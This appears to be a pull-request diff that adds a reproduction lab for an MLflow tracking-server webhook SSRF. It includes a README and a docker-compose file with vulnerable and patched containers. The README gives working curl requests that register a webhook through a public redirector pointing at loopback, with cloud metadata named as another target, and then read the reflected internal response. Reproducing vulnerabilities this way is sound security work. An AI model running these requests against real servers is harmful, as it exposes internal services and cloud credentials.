Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
135 changes: 135 additions & 0 deletions mlflow/CVE-2026-64849/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,135 @@
# CVE-2026-64849: MLflow Tracking Server Webhook SSRF via Unvalidated HTTP Redirects

MLflow tracking server versions prior to `3.16.0` contain an unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the webhook delivery subsystem. While MLflow performs pre-flight validation on webhook URLs during registration to block non-HTTPS schemes and private IP ranges, the HTTP client (`requests.Session`) used during webhook test execution (`POST /api/2.0/mlflow/webhooks/<webhook_id>/test`) follows HTTP redirects (such as `302 Found`) without validating the redirection target URL.

An unauthenticated remote attacker can register a webhook pointing to a public redirector service (such as `httpbin.org/redirect-to`) that redirects to internal endpoints (such as `127.0.0.1:5000` or cloud metadata services like `169.254.169.254`). Because the `/test` endpoint returns the reflected HTTP response body in the JSON output (`result.response_body`), this allows an unauthenticated attacker to read internal service responses directly.

Note that the original vulnerability was fixed in 3.15.0, but bypasses related to iPv6 handling were discovered and fixed in 3.16.0.

## Target Environment & Preconditions

* **Affected Versions:** MLflow `< 3.16.0` (fixed in MLflow `3.16.0` via PR #24258 / PR #25568).
* **Preconditions:** Webhook backend store must be enabled (requires SQL database backend store, e.g. `--backend-store-uri sqlite:///mlflow.db`). Default tracking server authentication is disabled.

---

## Vulnerable Version

### Setup

Start the vulnerable MLflow container (v3.13.0) on port 5001:

```sh
docker compose up -d mlflow-vuln
```

### Testing the Vulnerability

#### Step 1: Register Webhook with Public Redirector

Create a webhook pointing to a public redirector URL that redirects to internal loopback (`127.0.0.1:5000`):

```sh
curl -i -s -X POST http://localhost:5001/api/2.0/mlflow/webhooks \
-H "Content-Type: application/json" \
-d '{
"name": "cve-test-wh",
"url": "https://httpbin.org/redirect-to?url=http%3A%2F%2F127.0.0.1%3A5000%2Fapi%2F2.0%2Fmlflow%2Fexperiments%2Flist",
"events": [{"entity": "REGISTERED_MODEL", "action": "CREATED"}]
}'
```

Response:

```json
{
"webhook": {
"webhook_id": "b9bbf008-0cdc-42d5-b538-81ea9c83f707",
"name": "cve-test-wh",
"url": "https://httpbin.org/redirect-to?url=http%3A%2F%2F127.0.0.1%3A5000%2Fapi%2F2.0%2Fmlflow%2Fexperiments%2Flist",
"events": [{"entity": "REGISTERED_MODEL", "action": "CREATED"}],
"status": "ACTIVE"
}
}
```

#### Step 2: Trigger Webhook Test Execution

Invoke the unauthenticated test endpoint using the extracted `webhook_id`:

```sh
curl -i -s -X POST http://localhost:5001/api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test \
-H "Content-Type: application/json" \
-d '{
"webhook_id": "<WEBHOOK_ID>",
"event": {"entity": "REGISTERED_MODEL", "action": "CREATED"}
}'
```

Response (MLflow follows the redirect to loopback and reflects the response in `response_body`):

```json
{
"result": {
"success": false,
"response_status": 404,
"response_body": "<!doctype html>\n<html lang=en>\n<title>404 Not Found</title>\n<h1>Not Found</h1>\n<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>\n"
}
}
```

---

## Safe Version

### Setup

Start the patched MLflow container (v3.16.0) on port 5002 to confirm remediation:

```sh
docker compose up -d mlflow-patched
```

### Testing the Vulnerability

#### Step 1: Register Webhook with Public Redirector

```sh
curl -i -s -X POST http://localhost:5002/api/2.0/mlflow/webhooks \
-H "Content-Type: application/json" \
-d '{
"name": "cve-test-wh-patched",
"url": "https://httpbin.org/redirect-to?url=http%3A%2F%2F127.0.0.1%3A5000%2Fapi%2F2.0%2Fmlflow%2Fexperiments%2Flist",
"events": [{"entity": "REGISTERED_MODEL", "action": "CREATED"}]
}'
```

#### Step 2: Trigger Webhook Test Execution

```sh
curl -i -s -X POST http://localhost:5002/api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test \
-H "Content-Type: application/json" \
-d '{
"webhook_id": "<WEBHOOK_ID>",
"event": {"entity": "REGISTERED_MODEL", "action": "CREATED"}
}'
```

Response (`SSRFProtectedHTTPAdapter` intercepts the socket connection to loopback and blocks it):

```json
{
"result": {
"success": false,
"error_message": "Failed to test webhook: SSRFProtectionError('Webhook connection blocked: 127.0.0.1 is not a public IP address. This may indicate a DNS rebinding attempt.')"
}
}
```

---

## Cleanup

```sh
docker compose down
```
18 changes: 18 additions & 0 deletions mlflow/CVE-2026-64849/docker-compose.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
version: '3.8'

services:
mlflow-vuln:
image: ghcr.io/mlflow/mlflow:v3.13.0
container_name: cve-2026-64849-vuln
ports:
- "5001:5000"
command: ["mlflow", "server", "--host", "0.0.0.0", "--port", "5000", "--backend-store-uri", "sqlite:///mlflow.db"]
restart: unless-stopped

mlflow-patched:
image: ghcr.io/mlflow/mlflow:v3.16.0
container_name: cve-2026-64849-patched
ports:
- "5002:5000"
command: ["mlflow", "server", "--host", "0.0.0.0", "--port", "5000", "--backend-store-uri", "sqlite:///mlflow.db"]
restart: unless-stopped
Loading